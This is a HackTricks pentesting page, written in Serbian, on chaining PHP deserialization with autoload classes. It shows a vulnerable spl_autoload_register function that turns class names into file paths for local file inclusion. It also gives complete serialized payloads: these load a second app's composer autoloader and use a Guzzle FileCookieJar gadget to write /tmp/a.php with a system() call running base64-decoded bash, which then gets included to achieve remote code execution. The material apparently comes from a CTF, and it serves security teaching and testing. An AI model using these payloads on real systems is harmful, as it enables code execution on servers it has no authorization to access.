hacktricks/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

5.4 KiB

PHP - Deserializacija + Autoload Klase

{{#include ../../banners/hacktricks-training.md}}

Prvo, trebate proveriti šta su Autoloading Classes.

PHP deserializacija + spl_autoload_register + LFI/Gadget

Nalazimo se u situaciji gde smo pronašli PHP deserializaciju u web aplikaciji bez ikakvih biblioteka ranjivih na gadgete unutar phpggc. Međutim, u istom kontejneru postojala je druga composer web aplikacija sa ranjivim bibliotekama. Stoga, cilj je bio da učitamo composer loader druge web aplikacije i iskoristimo ga da učitamo gadget koji će iskoristiti tu biblioteku sa gadgetom iz web aplikacije ranjive na deserializaciju.

Koraci:

  • Pronašli ste deserializaciju i nema nikakvog gadgeta u trenutnom kodu aplikacije
  • Možete iskoristiti funkciju spl_autoload_register kao što je sledeća da učitate bilo koji lokalni fajl sa .php ekstenzijom
  • Za to koristite deserializaciju gde će ime klase biti unutar $name. Ne možete koristiti "/" ili "." u imenu klase u serijalizovanom objektu, ali kod menja donje crte ("_") u kose crte ("/"). Tako će ime klase kao što je tmp_passwd biti transformisano u /tmp/passwd.php i kod će pokušati da ga učita.
    Primer gadgeta bi bio: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Tip

Ako imate upload fajlova i možete da upload-ujete fajl sa .php ekstenzijom, mogli biste da zloupotrebite ovu funkcionalnost direktno i dobijete već RCE.

U mom slučaju, nisam imao ništa slično, ali je unutar iste kontejnera bila još jedna web stranica sa bibliotekom koja je ranjiva na phpggc gadget.

  • Da biste učitali ovu drugu biblioteku, prvo morate da učitate composer loader te druge web aplikacije (jer loader trenutne aplikacije neće imati pristup bibliotekama druge aplikacije). Poznavajući putanju aplikacije, to možete lako postići sa: O:28:"www_frontend_vendor_autoload":0:{} (U mom slučaju, composer loader je bio u /www/frontend/vendor/autoload.php)
  • Sada možete učitati druge app composer loader, tako da je vreme da generišete phpgcc payload koji ćete koristiti. U mom slučaju, koristio sam Guzzle/FW1, što mi je omogućilo da pišem bilo koji fajl unutar fajl sistema.
  • NAPOMENA: Generisani gadget nije radio, da bi radio, izmenio sam taj payload chain.php od phpggc i postavio sve atribute klasa sa privatnih na javne. Ako ne, nakon deserializacije stringa, atributi kreiranih objekata nisu imali nikakve vrednosti.
  • Sada imamo način da učitamo druge app composer loader i imamo phpggc payload koji radi, ali moramo to uraditi u ISTOM ZAHTEVU da bi loader bio učitan kada se gadget koristi. Za to, poslao sam serijalizovani niz sa oba objekta kao:
  • Možete videti prvo kako se loader učitava, a zatim payload
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Sada možemo da kreiramo i pišemo datoteku, međutim, korisnik nije mogao da piše u bilo koju fasciklu unutar web servera. Dakle, kao što možete videti u payload-u, PHP poziva system sa nekim base64 koji je kreiran u /tmp/a.php. Zatim, možemo ponovo iskoristiti prvi tip payload-a koji smo koristili kao LFI da učitamo composer loader druge web aplikacije da učitamo generisanu /tmp/a.php datoteku. Samo ga dodajte u deserializaciju gadget:
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Sažetak payload-a

  • Učitaj composer autoload druge web aplikacije u istom kontejneru
  • Učitaj phpggc gadget da iskoristi biblioteku iz druge web aplikacije (prva web aplikacija koja je bila ranjiva na deserializaciju nije imala nijedan gadget u svojim bibliotekama)
  • Gadget će napraviti datoteku sa PHP payload-om u /tmp/a.php sa malicioznim komandama (korisnik web aplikacije ne može da piše u bilo koju fasciklu bilo koje web aplikacije)
  • Poslednji deo našeg payload-a će koristiti učitaj generisanu php datoteku koja će izvršiti komande

Trebao sam pozvati ovu deserializaciju dva puta. U mom testiranju, prvi put je datoteka /tmp/a.php kreirana, ali nije učitana, a drugi put je ispravno učitana.

{{#include ../../banners/hacktricks-training.md}}